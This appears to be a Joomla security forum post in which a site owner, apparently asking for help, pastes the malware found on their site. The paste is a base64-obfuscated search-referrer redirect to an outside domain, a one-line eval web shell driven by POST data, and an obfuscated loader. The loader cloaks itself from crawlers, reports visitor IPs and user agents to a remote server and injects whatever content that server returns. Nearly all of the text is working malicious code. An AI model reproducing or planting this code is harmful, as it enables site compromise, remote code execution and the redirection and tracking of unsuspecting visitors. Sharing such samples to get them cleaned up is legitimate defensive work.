Не могу найти редирект - Безопасность сайтов на Joomla

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vYnJ1Z2dlLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0="));

<?php eval(base64_decode($_POST["php"])); ?>

@error_reporting(0); 
if (!isset($eva1fYlbakBcVSir)) {
	if (!isset($evalUdCXTDQERmWnDS)) {
	
		function retrun($return) {
			$funciton = create_function("&$"."function","$"."function = chr(ord($"."function)-3);");
			$return = str_split($return);
			array_walk($return, $funciton);
			return base64_decode(implode("",$return));
		}
		
		$psi1 = $tsst52;
		
		$evalTtDntGsohDPt = array('Google', 'Slurp', 'MSNBot', 'ia_archiver', 'Yandex', 'Rambler');
		
		function evalWEMBIkqYOIIGcLBn($s) {
			return @file_get_contents($s);
		}
	
		if ((preg_match("/".implode("|", $evalTtDntGsohDPt)."/i", $_SERVER['HTTP_USER_AGENT'])) or (isset($_COOKIE['stats']))) {} 
		else { 
			@setcookie("stats", md5('stats'), time()+10800);
			$file_content = evalWEMBIkqYOIIGcLBn('http://'.$dd0().'/in.php?i='.$_SERVER['REMOTE_ADDR'].'&b='.urlencode($_SERVER['HTTP_USER_AGENT']).'&b='.urlencode($_SERVER['HTTP_HOST']));
		
			if (strstr($file_content, "!go!")) { 
				$file_content = explode("!go!", $file_content);
				$file_content = $file_content[1];
				echo $file_content;
			}
		
			$evalUdCXTDQERmWnDS =18792;
		}
	}
}